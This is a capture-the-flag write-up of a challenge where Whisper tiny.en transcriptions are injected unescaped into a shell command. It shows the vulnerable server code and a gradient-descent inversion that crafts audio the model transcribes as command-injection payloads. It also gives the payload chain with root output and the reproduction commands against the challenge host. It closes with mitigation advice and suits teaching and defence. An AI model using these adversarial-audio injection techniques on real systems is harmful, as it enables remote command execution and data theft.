<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #030 ]

Don't Whisper

A web app transcribes uploaded audio with Whisper tiny.en and drops the transcription unescaped into a shell command. Natural speech can't produce shell metacharacters, so I invert the Whisper model with gradient descent to synthesize a 30-second waveform that greedily decodes to a command-injection payload — RCE as root.

date
2026-10-11
read
6 min
tags
#ctf #misc #ai-ml #adversarial #command-injection
event
Securinets ENIT — Cat the Flag v3
category
misc
points
1000
placement
1st place
  • Category: misc
  • Points: 1000
  • Author: MrXFuji
  • Target: http://misc.securinets-enit.club:1330
  • Flag: SecurinetsENIT{W0rds_C4n_D0_H4rm_Wh3n_N0t_Ch3cked}

TL;DR

The web app transcribes an uploaded audio file with OpenAI Whisper tiny.en and drops the transcription unescaped into a shell command:

python
await asyncio.create_subprocess_shell(f"python3 chatbot.py '{transcription}'")

The typed-text endpoint is sanitized; the audio endpoint is not. So if we make Whisper transcribe a string like ';cat ..//chal//flag', we break out of the single quotes and run arbitrary commands as root.

Natural speech can't produce shell metacharacters, so we invert the Whisper model with gradient descent: optimise a 30-second waveform until tiny.en greedily decodes to exactly our payload. Upload it, read the flag.


1. Recon

The landing page ("Transmit to the sentient.") is a chat UI. server: uvicorn → a Python ASGI app. /static/chat.js reveals two endpoints:

EndpointBodyReturns
POST /api/chatform field user_text{"response": ...}
POST /api/audio-chatmultipart field audio (.wav/.mp3){"transcription": ..., "response": ...}

Crucially, the audio endpoint echoes back the transcription. That makes the server a perfect oracle: we can see exactly what its speech-recogniser heard, which lets us fingerprint the model and confirm payloads before relying on them.

The asymmetry that is the whole bug

  • Typed text hello ; echo x → {"detail":"Invalid input detected."} (rejected).
  • The same metacharacters delivered through audio → executed.

The shell-error leak

Uploading speech containing apostrophes (contractions like "there's", "don't") returned:

text
/bin/sh: 1: Syntax error: Unterminated quoted string

The server leaked its own shell error. The apostrophes in the transcription collided with the single quotes the app wraps around it — proving the transcription is embedded inside '...' in a shell command.


2. The vulnerability (confirmed from source)

We later cat'd the app source via the exploit itself. The relevant parts of app.py:

python
VALID_FILENAME_REGEX = re.compile(r'^[\w,\s-]+\.[A-Za-z]{3,4}$')

def sanitize_input(text: str) -> str:
    dangerous_chars = ["'", ";", "&", "|", "`", "$", "\n", "\r"]
    if any(char in text for char in dangerous_chars):
        raise HTTPException(status_code=400, detail="Invalid input detected.")
    return text.strip()

@app.post("/api/chat")
async def chat_response(user_text: str = Form(...)):
    sanitized_text = sanitize_input(user_text)          # <-- text path IS sanitized
    result = subprocess.run(['python3', 'chatbot.py', sanitized_text], ...)  # argv, safe anyway
    ...

@app.post("/api/audio-chat")
async def audio_response(audio: UploadFile = File(...)):
    is_valid, audio_file_path = is_valid_audio_file(audio)
    result = subprocess.run(["python3","transcribe.py","--model","tiny.en",
                             audio_file_path,"--language","English",
                             "--best_of","5","--beam_size","None"], ...)
    transcription = result.stdout.strip()               # <-- NOT sanitized
    chatbot_proc = await asyncio.create_subprocess_shell(
        f"python3 chatbot.py '{transcription}'",         # <-- INJECTION SINK
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.STDOUT)
    chatbot_stdout, _ = await chatbot_proc.communicate()
    return JSONResponse(content={"response": chatbot_stdout.decode().strip(),
                                 "transcription": transcription})

Two independent mistakes combine:

  1. The text path uses an argv list and sanitises input. The audio path uses create_subprocess_shell with an f-string and no sanitisation of the transcription.
  2. stderr=STDOUT + returning stdout means injected command output (and shell errors) is reflected straight back to us.

transcribe.py confirms the recogniser is stock openai-whisper, tiny.en, fp16=False, beam_size=None → greedy decoding (best_of=5 is a no-op at temperature 0). This is exactly reproducible offline.

chatbot.py turned out to be a regex rule-based responder, not an LLM — which is why every prompt-injection attempt only ever returned one of six canned "playful" fallback lines. Prompt injection was a designed dead end; the bug is purely the shell call.

Quoting logic of the payload

The wrapper is '<T>'. To inject we need the transcription T to:

  • start with '; — close the wrapper's opening quote and start a new command;
  • contain the command;
  • end with ' — re-balance so the wrapper's trailing quote has a partner.

For T = ';id' the shell sees:

text
python3 chatbot.py '';id''
└─ arg "" ─┘ ;  └ id "" ┘    → runs chatbot.py with empty arg, then `id`

An odd number of quotes → Unterminated quoted string → nothing runs. Always balance.


3. Making Whisper say what we want (model inversion)

We can't speak ';id'. Spoken "semicolon" transcribes as the word; pauses don't become newlines. So we manufacture the audio.

Idea: Whisper is small, white-box and differentiable. Freeze the weights and optimise the input waveform so the decoder's greedy output equals our target token sequence — gradient descent through log-mel → encoder → decoder, backpropagating cross-entropy into the audio samples.

Target construction

For tiny.en (verified on this build):

  • sot_sequence = (50257,), first emitted token in timestamps mode <|0.00|> = 50363, <|endoftext|> = 50256.
  • Target for ';id': [50257, 50363, 17020("';"), 312("id"), 6("'"), 50256].

The token-suppression minefield

Whisper bans ~90 "non-speech" tokens during decoding. Several shell characters are impossible to emit:

TokenidStatus
;26suppressed
/14suppressed
*9suppressed
';17020OK (quote+semicolon in one token — enables breakout)
'6OK
//1003OK (// collapses to /, so ..//chal//flag == ../chal/flag)
..11485OK

Consequences: you can't chain with a second ;, and you can't type a bare /. Paths are built with // instead, and each command needs its own audio file.

The solver

invert.py (CPU, ~20–40 Adam iterations per payload, seconds to a minute):

  • audio tensor x (30 s @ 16 kHz) with requires_grad;
  • per step: log_mel_spectrogram(x) → encoder → decoder(target[:-1]), cross-entropy toward target[1:], backprop to x, Adam, clamp to [-1, 1];
  • the <|0.00|> and <|endoftext|> positions are weighted ×2. This keeps no_speech_prob low (so the stock pipeline doesn't drop the segment) and forces EOT (so it doesn't fall into a repetition loop);
  • before saving, the candidate must pass the real model.transcribe(...) pipeline producing the exact target text — not just a raw argmax match.

This converged far faster and more reliably than a pure free-running objective: ';id' solved in 20 iterations from noise, every later payload in 20–40 via warm-starting from a previous working .wav.


4. Exploit chain (live)

Each line = one inverted audio file uploaded to /api/audio-chat; the command output comes back in the response field after the bot's canned reply.

#Payload (transcription)Result
1';id'uid=0(root) gid=0(root) groups=0(root) → RCE as root
2';env'no FLAG var; PWD=/chatapp, HOME=/root
3';ls ..'lists / → contains a chal directory
4';cat transcribe.py'confirms stock greedy tiny.en pipeline
5';ls ..//chal'single file: flag
6';cat ..//chal//flag'the flag

..//chal//flag from cwd /chatapp resolves to /chal/flag (the // tokens dodge the suppressed bare /).

Final response:

json
{"response":"Chatbot: That sounds like a wild topic! Care to dive deeper? 🏊‍♂️\nSecurinetsENIT{W0rds_C4n_D0_H4rm_Wh3n_N0t_Ch3cked}",
 "transcription":"';cat ..//chal//flag'"}

🏁 Flag

text
SecurinetsENIT{W0rds_C4n_D0_H4rm_Wh3n_N0t_Ch3cked}

5. Reproduction

bash
# Environment (CPU is fine; tiny.en is tiny)
python3 -m venv dw_venv
dw_venv/bin/pip install torch==2.14.1 openai-whisper==20250625 soundfile numpy scipy
# (ffmpeg not needed locally — feed numpy arrays straight to model.transcribe)

# Build a payload (text form)
dw_venv/bin/python invert.py "';id'" adv_id.wav - 800
# Warm-start subsequent payloads for speed
dw_venv/bin/python invert.py "';cat ..//chal//flag'" adv_flag.wav adv_id.wav 400

# Fire it
curl -s -F "audio=@adv_flag.wav;type=audio/wav" \
     http://misc.securinets-enit.club:1330/api/audio-chat

Artifacts from this solve: invert.py (solver), tcheck.py (tokenizer/suppression inspector + local oracle), upload.sh, and adv_*.wav.


6. Lessons & mitigation

Why it worked

  1. Read the error strings — one leaked /bin/sh syntax error revealed the entire execution architecture.
  2. Asymmetric sanitisation: one channel (text) is cleaned, a second channel carrying the same data into the same sink (audio → transcription) is not.
  3. The echoed transcription made the server a white-box oracle for the exact model and decoder config.
  4. A small, differentiable, open-weight model (Whisper tiny.en) is invertible: you can sculpt its input to force any (emittable) output.

Fixes

  • Never build shell strings from untrusted data. The audio path should use an argv list exactly like the text path: subprocess.run(['python3','chatbot.py', transcription]) — no shell, no quoting.
  • Apply the same sanitize_input to the transcription (defence in depth), or better, pass it as argv so sanitisation is unnecessary.
  • Don't reflect stderr/command output to the client.
  • Treat any ML model's output as untrusted user input — a transcription is attacker-controlled data.